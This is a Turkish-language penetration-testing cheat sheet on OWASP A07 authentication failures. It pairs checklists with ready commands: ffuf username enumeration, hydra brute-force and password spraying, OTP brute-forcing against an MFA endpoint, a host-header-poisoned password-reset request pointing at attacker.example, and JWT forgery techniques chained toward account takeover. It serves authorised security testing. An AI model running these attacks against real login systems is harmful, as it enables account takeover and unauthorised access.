Skip to content

Authentication Failures

OWASP A07 difficulty: değişken

Identification and Authentication Failures, kullanıcının kimliğinin güvenilir biçimde doğrulanamamasıdır: zayıf parola politikaları, otomatik saldırılara açıklık, kusurlu oturum ve token yönetimi.

□ Credential stuffing — sızmış e-posta/parola çiftleri
□ Brute / password spraying — az parola × çok kullanıcı
□ Kullanıcı adı enumerasyonu — mesaj / kod / timing
□ Zayıf oturum — öngörülebilir id, logout invalidate yok, fixation
□ Kusurlu reset — zayıf token, host header zehirleme, log leak
□ MFA atlatma — response manip, OTP brute, yedek kod, MFA'sız API
"User not found" vs "Invalid password"
HTTP 200 + "invalid" vs HTTP 401
Kayıt / şifre sıfırlama uçları da enum verir
Timing: geçerli kullanıcıda hash karşılaştırması daha uzun
Terminal window
ffuf -u https://hedef/login -X POST \
-d 'user=FUZZ&pass=x' -w users.txt -mc all -of csv
Terminal window
hydra -l admin -P rockyou.txt hedef.com http-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid"
Terminal window
hydra -L users.txt -p 'Welcome1!' hedef.com http-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid"
Terminal window
ffuf -u https://hedef/login -X POST \
-d 'user=admin&pass=FUZZ' -w passwords.txt -fc 401

Rate limit varsa: farklı uçlar (/api/v1/login vs /api/v2/login), case varyantları, “forgot password” flood ayrı bulgu.

  1. Token entropisi — kısa/sayısal token brute.

  2. Host Header Injection — e-posta linkini attacker domain’ine çevir ( Host Header ).

  3. Token leak — Referer, JSON yanıt, destek log’u.

  4. Eski token — yeni talep sonrası eski link hâlâ geçerli mi?

  5. Account takeover zinciri — reset + email change + no re-auth.

POST /forgot-password HTTP/1.1
Host: attacker.example
Content-Type: application/x-www-form-urlencoded
email=victim@corp.com
□ Session id tahmin edilebilir mi?
□ Logout sonrası token geçerli mi?
□ Concurrent session / remember me
□ Cookie: Secure, HttpOnly, SameSite
□ Session fixation: login öncesi id aynı mı kalıyor?
□ JWT vs opaque session — hangisi?

Detay: JWT Saldırıları. Hızlı: JWT Inspector.

  1. alg: none — imza kaldırılıp kabul ediliyor mu?

  2. Zayıf HMAC secret — offline sözlük + yeniden imzala.

  3. Algoritma karıştırma — RS256 + public key as HS secret.

  4. Claim manipülasyonu — exp / aud / iss / role .

HTTP/1.1 200 OK
{"success":true,"mfa_required":false}
Terminal window
ffuf -u https://hedef/mfa/verify -X POST \
-d '{"code":"FUZZ"}' -w otp-000000-999999.txt \
-H 'Content-Type: application/json' -H 'Cookie: ...' -fc 401
□ Kod yanıt mesajında sızıyor
□ "remember device" token çalınabilir / tahmin
□ MFA'sız eski mobil API
□ Backup codes reuse / download without re-auth
□ Voice/SMS OTP race (aynı kod iki oturum)
□ admin:admin, vendor default
□ /admin /console /manager
□ Debug backdoor ?auth=1 / X-Debug-Token
□ OAuth "Login as" staging endpoint
Enum users → spray Welcome1!
→ MFA'sız API veya OTP brute
→ session/JWT → IDOR / admin
Host header reset poison → token → ATO